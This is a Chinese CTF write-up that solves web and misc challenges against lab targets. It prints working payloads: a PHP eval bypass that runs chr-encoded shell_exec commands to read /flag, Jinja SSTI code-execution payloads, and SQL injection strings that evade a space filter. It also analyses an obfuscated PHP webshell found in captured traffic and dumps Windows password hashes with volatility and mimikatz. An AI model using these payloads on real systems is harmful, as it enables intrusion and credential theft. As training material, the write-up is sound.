WEB

你能在一秒内打出八句英文吗

题目内容:

CAN YOU TRY

【难度:签到】

打开来是个网页,点击I Can就能够进入挑战,看起来这题是脚本题,所以写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import httpx
import re

HOST = "http://eci-2ze1p9tw7xzx0ganthsl.cloudeci1.ichunqiu.com"

START = "/start"
SUBMIT = "/submit"

client = httpx.Client()
paragraph_pattern = r"<p id=\"text\">([^<]*)</p>"

# Start the challenge
response = client.get(HOST + START)

result = "(not empty)"

while result:
try:
result = re.findall(paragraph_pattern, response.text)
response = client.post(HOST + SUBMIT, data={"user_input": result[0]})
except:
break

print(response.text)

然后就能得到flag了

遗失的拉链

题目内容:

我的拉链找不到了 你可以帮我找找吗

【难度:简单】

题目说了拉链这个关键词,所以想到网站目录下的zip文件,尝试下载www.zip发现可以下载,得到网站源码

看到里面有个pizwww.php,打开是个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

要求query参数new的sha1值跟POST请求体重star的md5值相等,且两者自身不相等,而sha1和md5两种加密方式的长度本身就不相等,MD5的长度是32,而sha1是40,所以只能使用数组绕过,即传入数组,使得两个加密的结果均为null(下图为本地调试)

上面告诉我们不准我们用catflag(不区分大小写),所以我们要用别的方式,例如用chr函数,写个脚本构造payload

1
2
3
4
5
6
7
8
9
10
while True:
command = input("Command: ").replace("\n", "")
payload = ""
for char in command:
if payload:
payload += f".chr({ord(char)})"
else:
payload += f"chr({ord(char)})"
print("payload:", payload)

就可以直接用这个脚本帮我构建payload了

这里有个坑,我一开始传入的时候,用单引号包裹了我的chr链,导致chr不能正确运行,传入的时候并不需要包裹引号

我传入echo shell_exec('find / -iname "flag"');,payload写作echo%20shell_exec(chr(102).chr(105).chr(110).chr(100).chr(32).chr(47).chr(32).chr(45).chr(105).chr(110).chr(97).chr(109).chr(101).chr(32).chr(34).chr(102).chr(108).chr(97).chr(103).chr(34));,可以得到flag的位置为/flag

接着要传入echo shell_exec('cat /flag');,payload写作echo%20shell_exec(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103));,然后就能够读取到flag为flag{55fe44c0-c359-44ef-a820-aa7d125633bf}

复读机

你知道 人类的本质是……

【难度:困难】

这题因为叫复读机,所以我首先怀疑是SSTI,试了一下还真是

试着传入{{system('ls')}},但是报500错误了,应该是没有from os import system,但是确认了确实存在SSTI,接下来就是抄作业环节,直接去找现成的payload,传入().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' ),结果回复机器人讨厌上课(class)

说明了这题对class这个关键词做了过滤,我们就找找绕过class的payload,尝试传入{{""["__cla""ss__"]}},发现能正常使用

但是我尝试使用同样的方式绕过__subclass__,发现不行,所以换种思路

这时我看到了这篇文章 => SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)

通过文章的方法可以实现绕过,我先传入{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('find / -iname flag').read()")}},发现了flag的位置为/flag

然后读出来就行了,传入{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}},得到flag为flag{9c71f48c-19a5-47a9-9903-89d2a7c3688a}

PangBai 过家家(2)(未做出)

PangBai 已经成为了我最亲的亲人,我将她反锁在房间内,随后照常去心理医院上班,但回来后却发现我的定居点被泄露了,我谨慎地走进房间,却发现后门开着,近处躺着倒下的 PangBai ——凶手从后门攻击了她,并带走了我的重要资料。我只身前往应战,并托蓬蓬头将 PangBai 送至医院。

【难度:中等】

谢谢皮蛋 plus(未做出)

题目内容:

UR!POWERLESS!

【难度:中等】

尝试用上次用的Payload,但是被Kay/O沉默了

先确定什么东西被过滤了,我先试了一下id=base64(1=),发现可以正常通过,说明等号没有过滤

再尝试id=base64(1 1),发现弹U R Powerless,说明空格被过滤了

尝试id=base64(1/**/UNION),发现可以正常通过,说明UNION没有被过滤

尝试id=base64(1,1),发现可以正常通过,说明逗号,没有被过滤

尝试id=base64(1()1),发现可以正常通过,说明()没有被过滤

尝试id=base64(1/**/1.1),发现可以正常通过,说明.没有被过滤

(以上省略众多测试过程)

经过尝试,发现空格被过滤了,常用的逗号、小括号、点、SELECTWHERE-没有被过滤

所以初步判断是空格过滤,空格过滤可以用/**/来代替空格(就像上面我测试使用的那样)

初步构造payload:id=base64(1/**/UNION/**/SELECT/**/TABLE_NAME,/**/TABLE_NAME/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--)发现可以通过,但是也只是处理了一个结果,所以把1改为其他的数字(我改成10),即变成id=base64(10/**/UNION/**/SELECT/**/TABLE_NAME,/**/TABLE_NAME/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--),发现没有回显,应该是报错了

在本地写了个测试用的服务器去测试

本地服务器代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, jsonify
import mysql.connector
from mysql.connector import Error

app = Flask(__name__)

def create_connection():
try:
connection = mysql.connector.connect(
host="localhost",
user="root",
password="password",
port=3306
)
if connection.is_connected():
return connection
except Error as e:
print(f"Error while connecting to MySQL: {e}")
return None

def setup_database():
connection = create_connection()
if connection:
try:
cursor = connection.cursor()
cursor.execute("CREATE DATABASE IF NOT EXISTS wingman;")
cursor.execute("USE wingman;")

cursor.execute("""
CREATE TABLE IF NOT EXISTS hexo (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255),
pos VARCHAR(255)
);
""")

cursor.execute("INSERT IGNORE INTO hexo (id, name, pos) VALUES (1, 'Cypher', 'Mid');")

cursor.execute("""
CREATE TABLE IF NOT EXISTS flag (
id INT AUTO_INCREMENT PRIMARY KEY,
des VARCHAR(255),
value VARCHAR(255)
);
""")

cursor.execute("INSERT IGNORE INTO flag (id, des, value) VALUES (1, 'test', 'flag{test}');")

connection.commit()
cursor.close()
except Error as e:
print(f"Error during setup: {e}")
finally:
connection.close()

@app.route('/query', methods=['GET'])
def query_db():
user_query = request.args.get('query')
if not user_query:
return jsonify({"error": "No query provided."}), 400

connection = create_connection()
if connection:
try:
cursor = connection.cursor(dictionary=True)
cursor.execute("USE wingman;")
cursor.execute(f"SELECT name, pos FROM hexo WHERE id={user_query}")
result = cursor.fetchall()
cursor.close()
return jsonify(result), 200
except Error as e:
return jsonify({"error": str(e)}), 500
finally:
connection.close()
else:
return jsonify({"error": "Failed to connect to database."}), 500

if __name__ == '__main__':
setup_database()
app.run(host='0.0.0.0', port=5000, debug=True)

发现这个payload会提示1271 (HY000): Illegal mix of collations for operation 'UNION'

没遇到过,问问GPT,GPT说是查询结果的不同列有着不兼容的字符集或排序规则(collation),导致 MariaDB/MySQL 无法正确处理查询

所以改一下payload,让它能够统一,即变成了10/**/UNION/**/SELECT/**/TABLE_NAME/**/COLLATE/**/utf8_general_ci,/**/TABLE_NAME/**/COLLATE/**/utf8_general_ci/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--

已知10在它的表格里面没有对应的东西,所以第一个查询是没有输出的,但是第二个查询我发现也没有输出,有可能是用户权限没给够

所以试试上周的payload,直接用10/**/UNION/**/SELECT/**/GROUP_CONCAT(COLUMN_NAME/**/SEPARATOR/**/","),/**/GROUP_CONCAT(COLUMN_NAME/**/SEPARATOR/**/",")/**/AS/**/combined_info/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/database()/**/AND/**/TABLE_NAME/**/=/**/"Fl4g"/**/--,发现弹U R Powerless,说明还有过滤的内容

试一下带双引号进去,发现报错了,说明上面没有输出只是因为没有结果,而不是报错了

做到这里,我先综上一下

  • 题目过滤了空格,空格可以用/**/代替
  • 题目限制了一个输出,查询语句应该是SELECT (name, pos) FROM <table> WHERE id=<id> LIMIT 0,1;
  • 题目使用的是MariaDB

看起来感觉思路不对,如果查所有表查不到的话,就应该不是在其他表格里面,我尝试查询一下这个表有多少行

MISC

用溯流仪见证伏特台风

漂亮国也干了。照着2024年7月8日央视新闻的方法来看看隐匿在图片下的东西吧.

新闻视频: https://b23.tv/BV1Ny411i7eM

新闻中提到的威胁盟报告里,隐藏在图片下,Domain下方那个框里所有字符的16位小写md5,包裹 flag{} 即为 flag.

提示:这个视频就是WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

【难度:简单】

好吧,我拼眼力不行,我还不会用wayback machine嘛

在Google上搜书名,得到官方下载链接:https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf

然后去wayback machine,直接一搜,视频里说4月15更改的,最早的也只有这个版本,所以直接下载下来

下载下来以后,跟着视频里面一样移除封底就有了,得到Domainpowerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion

然后根据题目要求,计算一下16位的md5

1
2
3
4
5
6
7
8
9
10
import hashlib

input_string = "powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion"

# 计算 MD5 哈希值
md5_hash = hashlib.md5(input_string.encode()).hexdigest()

# 取前16位
md5_16 = md5_hash[:16]
print(md5_16)

最终得到结果为8519ca216c3ea51b,所以flag为flag{8519ca216c3ea51b}

wireshark_checkin

un搭建了一个简单的http服务器,但是不小心把重要文件删除了,只剩下访问这些文件时的流量,你能帮他找到吗

【难度:签到】

@unknown (doge)

下载下来是wireshark的流量包,先筛选http流量

然后看到个很明显的/flag.txt,右键追踪HTTP流,可以得到flag为flag{ez_traffic_analyze_isn't_it}

wireshark_secret

un偷看涩图,被抓到流量了

【难度:简单】

还是@unknown (doge)

过滤http流量,发现secret.png

右键追踪http流,选择返回的数据,然后显示方式选择原始数据,另存为我们的会话

打开010Editor,把PNG图片头(%PNG)前面的HTTP标头删掉,保存

打开后就可以看到flag了,为flag{you_are_gooddddd}

字里行间的秘密

我横竖睡不着,仔细看了半夜,才从字缝里看出字来

【难度:中等】

压缩包里有一个docx和一个txt,TXT打开内容如下

1
‌‌‌‌‍‬‬‍这里好像有什么东西‌‌‌‌‍‍‌‌‌‌‌‍‍‌‌‌‌‍‬‬‍‌‌‌‌‍‌‌‌‌‌‍‍‌‌‌‌‍‬‬,‌‌‌‌‌‌‌‌‌‌‍‬‍你看见了嘛,是我看错了嘛

(注:在txt文档里里面零宽字符看不到,在Markdown里面能看到替代符)

所以很明显是零宽字符隐写,直接上工具,得到密码it_is_k3y

打开word文档后,发现就一行字,首先按下Ctrl+A看看有没有白色字符,发现有,设置成黑色就出来了,flag为flag{you_h4ve_4nyth1n9}

Herta’s Study

黑塔女士在进行一项新的研究,她截获了银狼作为新手黑客时的渗透流量,不过这小家伙喜欢整点新花样。“在战场上,如果我牺牲了,我不希望我的代码被敌人轻易使用”

【难度:中等】

经过wireshark分析可以得到后门代码

1
2
3
4
5
6
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(base64_decode('J'.str_rot13('T').'5z'), base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs=='));
echo $bbb($payload);
?>

可以看到中间有一段str_rot13,是进行了ROT13计算,我们给它反回来就变成了PT0xKXsNCiAgICAgICAgJG5zWyRpXT1z

所以进行b64解码的字符串为JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUyPT0xKXsNCiAgICAgICAgJG5zWyRpXT1zdHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs==,得到$bbb的实际代码为

1
2
3
4
5
6
7
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
}
}
return $ns;

也就是每个偶数位的字母(因为第一个是0,第二个是1)进行了ROT13计算,所以我们写个脚本把它反回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import codecs

def reverse_rot13(text):
return codecs.encode(text, 'rot_13')

while True:
string = input("请输入需要解码的字符:")
decrypted = ""
reversed_base = ""

# 进行ROT13逆运算
for i in range(len(string)):
if string[i] == "=":
reversed_base += "="
continue
if i % 2 == 1:
reversed_base += reverse_rot13(string[i])
else:
reversed_base += string[i]

decrypted = base64.b64decode(reversed_base).decode()
print("经过ROT13逆运算的编码字符串为:", reversed_base)
print("明文结果为:", decrypted)

然后就可以把所有的输出放进去看看内容了,得到flag为flag{sH3_i4_S0_6eAut1fuL.}

你也玩原神吗(未做出)

如果你玩原神,那么你看得懂这些提瓦特文字吗?请把得到的内容用flag{}包裹

【难度:简单】

打开来附件是个压缩包,里面有张gif,通过ps分层可以得到全是提瓦特文字的图

根据玩家社区的文档,我们可以得知这些文字是蒙德文

SpeedyOrc-C/HoYo-Glyphs: Constructed scripts by HoYoverse 米哈游的架空文字 (github.com)

开始比对,中间的一大段话,打了最开始的是个字母就发现应该是经典占位符文本

1
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

所以这一段没用,看看角落,翻译出来如图

最让我在意的是左上角FLAGISASSENTENCEFLAG IS A SENTENCE,flag是个句子,所以我一开始认为flag就是中间文段的内容,所以就有了flag为flag{LOREM_IPSUM_DOLOR_SIT_AMET_CONSECTETUR_ADIPISCING_ELIT_SED_DO_EIUSMOD_TEMPOR_INCIDIDUNT_UT_LABORE_ET_DOLORE_MAGNA_ALIQUA_QUIS},但是不对

然后我发现左下角搞错了,做下角正确翻译是DOYOUKNOWFENCE即提示我们栅栏密码

尝试使用栅栏密码穷举,密文是右上角+右下角的内容,结果如下

2 IAIAABAGENLHGNTSSGFOKGFMAYMEEISATDOE
3 IFOKIFGAAMMEASYTEOEALAIBGGANTHDNSSEG
4 IGAYATISBEGFAKNIHFAANASMEEGDOSLTGEMO
5 ILEHINSGITTSAGOSAFAODGAKAFBMEYGAEMNE
6 IEFASIGAALIGMBOAGGETASSNMDYHTFAKONEE
7 IAFSGOAGNTKEILFOHMDYNAAGATMASEEIGBES
8 IASMAHGAMNAEFEILKSBSYDEGGTFGATAONOIE
9 IASMANGYDEOHAEFEILKSBNGIEAMSGTFGATAO
10 IAGKEANGYDEOHASFTAIESATBNGIEAMSGOMFL
11 IALSFEANGYDEOHASAFGAIETKMTBNGIEAMSGO
12 IALSFEOBHGYDEONGASAFGAIETKMTANSGIEAM
13 IALSFEOBHGMIEAYONGASAFGAIETKMTANSGED
14 IALSFEOBHGMEAEDIYONGASAFGAIETKMTANSG
15 IALSFEOBHSOMEAEDIYGGNGASAFGAIETKMTAN
16 IALSFEOAGHSOMEAEDIYGGNNBASAFGAIETKMT
17 IALSFMSOAGHSOMEAEDIYGGNNBATEAFGAIETK
18 IALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGAIE
19 IIALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGEA
20 IIAALTFFMSOAGHSOMEAEDIYGGNNBATEAKSGE
21 IIAAELTFFMSOAGHSOMEAEDIYGGNNBATEAKSG
22 IIAAELGTFFMSOAGHSOMEAEDIYGGNNBATEAKS
23 IIAAELGTSFFMSOAGHSOMEAEDIYGGNNBATEAK
24 IIAAELGTSFKFMSOAGHSOMEAEDIYGGNNBATEA
25 IIAAELGTSFKFAMSOAGHSOMEAEDIYGGNNBATE
26 IIAAELGTSFKFAMESOAGHSOMEAEDIYGGNNBAT
27 IIAAELGTSFKFAMESTOAGHSOMEAEDIYGGNNBA
28 IIAAELGTSFKFAMESTOAAGHSOMEAEDIYGGNNB
29 IIAAELGTSFKFAMESTOAABGHSOMEAEDIYGGNN
30 IIAAELGTSFKFAMESTOAABGNHSOMEAEDIYGGN
31 IIAAELGTSFKFAMESTOAABGNHNSOMEAEDIYGG
32 IIAAELGTSFKFAMESTOAABGNHNSGOMEAEDIYG
33 IIAAELGTSFKFAMESTOAABGNHNSGOGMEAEDIY
34 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEAEDI
35 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEIAED
36 IIAAELGTSFKFAMESTOAABGNHNSGOGMYEIADE

没有什么有意义的结果,他说是个句子,所以说明不对

热心助人的小明同学

小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……

【难度:简单】

试错部分

这是一题内存取证题目,通过vol2(或者vol3)可以得到这是一个Windows7系列的内存镜像

然后尝试提取出密码,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 hashdump

1
2
3
4
5
6
7
>vol.exe -f image.raw --profile=Win7SP1x86_23418 hashdump

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10eca58175d4228ece151e287086e824:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:bd4667328af8beb097a299187278c48f:::
Xiaohong:1003:aad3b435b51404eeaad3b435b51404ee:3fa7d7d3c37b8e9baaf6ed13d70ed858:::

得到Xiaohong的密码经过LM哈希和NTLM哈希分别为aad3b435b51404eeaad3b435b51404ee3fa7d7d3c37b8e9baaf6ed13d70ed858

尝试hashcat爆破,使用的字典是rockyou.txt,但是爆破不出来

尝试寻找提示,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 cmdline查看终端命令运行情况,看到有个C:\Users\Xiaohong\Desktop\Diary.txt,估计是提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
>vol.exe -f image.raw --profile=Win7SP1x86_23418 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid: 4
************************************************************************
smss.exe pid: 612
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid: 708
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid: 740
Command line : wininit.exe
************************************************************************
csrss.exe pid: 748
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
services.exe pid: 788
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid: 804
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid: 812
Command line : C:\Windows\system32\lsm.exe
************************************************************************
winlogon.exe pid: 844
Command line : winlogon.exe
************************************************************************
svchost.exe pid: 960
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid: 1036
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid: 1116
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid: 1160
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid: 1208
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid: 1244
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
TrustedInstall pid: 1320
Command line : C:\Windows\servicing\TrustedInstaller.exe
************************************************************************
svchost.exe pid: 1480
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
spoolsv.exe pid: 1596
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid: 1624
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
svchost.exe pid: 1720
Command line : C:\Windows\System32\svchost.exe -k ICService
************************************************************************
svchost.exe pid: 1844
Command line : C:\Windows\System32\svchost.exe -k utcsvc
************************************************************************
svchost.exe pid: 1884
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
VSSVC.exe pid: 2196
Command line : C:\Windows\system32\vssvc.exe
************************************************************************
sppsvc.exe pid: 2408
Command line : C:\Windows\system32\sppsvc.exe
************************************************************************
taskhost.exe pid: 2596
Command line : "taskhost.exe"
************************************************************************
dwm.exe pid: 2732
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid: 2812
Command line : C:\Windows\Explorer.EXE
************************************************************************
SearchIndexer. pid: 3164
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
SearchProtocol pid: 3232
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
************************************************************************
SearchFilterHo pid: 3252
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 568 572 580 65536 576
************************************************************************
wmpnetwk.exe pid: 3336
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
WmiPrvSE.exe pid: 3568
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
svchost.exe pid: 3688
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
notepad.exe pid: 3924
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Xiaohong\Desktop\Diary.txt
************************************************************************
MagnetRAMCaptu pid: 2980
Command line : "C:\Users\Xiaohong\Desktop\MagnetRAMCapture.exe"
************************************************************************
mscorsvw.exe pid: 1768
Command line : C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
************************************************************************
svchost.exe pid: 2372
Command line : C:\Windows\System32\svchost.exe -k secsvcs

接着尝试把这个文件提取出来,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 filescan | findstr txt尝试寻找文件所在的内存地址

1
2
3
4
5
>vol.exe -f image.raw --profile=Win7SP1x86_23418 filescan | findstr txt

Volatility Foundation Volatility Framework 2.6
0x00000000f554bf80 8 0 RW-r-- \Device\HarddiskVolume2\Users\Xiaohong\Desktop\Diary.txt
0x00000000f55ccb30 1 1 -W-rw- \Device\HarddiskVolume2\Users\Xiaohong\AppData\Local\Temp\FXSAPIDebugLogFile.txt

看到文件所在内存地址为0xf554bf80,尝试提取出来,使用vol.exe -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 -D ./将文件提取到当前目录

1
2
3
4
>vol.exe -f image.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000000f554bf80 -D ./

Volatility Foundation Volatility Framework 2.6
DataSectionObject 0xf554bf80 None \Device\HarddiskVolume2\Users\Xiaohong\Desktop\Diary.txt

打开得到提示

1
2
I think it's too tiring to enter a complex password every time I log in, 
so it would be nice if I could log in automatically

意思就是Xiaohong账户启用了自动登录,再尝试用mimikatz拿下密码

在新的Kali WSL中安装volatility2和mimikatz

为什么要重装?因为我的Windows里面打包的vol2是个exe文件,里面的库是固定的,而且不能装插件,然后我就再开了个Kali的WSL

安装Python2

很简单,用apt就行了,但是要先换源

1
2
$ sudo sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list
$ sudo apt update

换源后直接apt install

1
$ sudo apt install python2 -y

然后还得把pip2安装一下

1
2
$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
$ sudo python2 get-pip.py

安装volatility2

先从Github把这玩意clone下来

1
2
$ git clone https://github.com/volatilityfoundation/volatility.git
$ cd volatility

然后就正常的安装过程

1
$ sudo python2 setup.py install

需要一段时间,会自动安装完毕

安装其他轮子和模块

pycryptodome(Crypto模块)
1
$ python2 -m pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
distorm3
1
2
3
4
$ git clone https://github.com/vext01/distorm3
$ cd distorm3
$ sudo apt install gcc -y
$ sudo python2 setup.py install
mimikatz
1
2
3
4
5
6
7
$ python2 -m pip install construct
$ cd /usr/lib/python2.7/dist-packages
$ mkdir volatility
$ cd volatility
$ mkdir plugins
$ wget https://raw.githubusercontent.com/RealityNet/hotoloti/master/volatility/mimikatz.py
$ chmod +x mimikatz.py

运行vol.py --plugin=/usr/lib/python2.7/dist-packages/volatility/plugins -f image.raw --profile=Win7SP1x86_23418 mimikatz

结果没有输出,说明mimikatz拿不到密码

1
2
3
4
5
┌──(ctfos㉿Hello-CTF)-[/usr/lib/python2.7/dist-packages/volatility/plugins]
└─$ vol.py --plugin=/usr/lib/python2.7/dist-packages/volatility/plugins -f image.raw --profile=Win7SP1x86_23418 mimikatz
Volatility Foundation Volatility Framework 2.6.1
Module User Domain Password
-------- ---------------- ---------------- ----------------------------------------

那没办法了,只能看看怎么拿自动登录的密码了,结果搞了半天没弄出来,所以先放一边

使用PasswareKitForensic可以直接秒杀这个题,因为题目告诉我们是内存镜像,所以直接选内存分析

试错环节中知道了是Windows电脑,所以只勾选Windows

经过差不多五分钟的破解,就出来了,得到密码ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh

从而得到flag,flag为flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}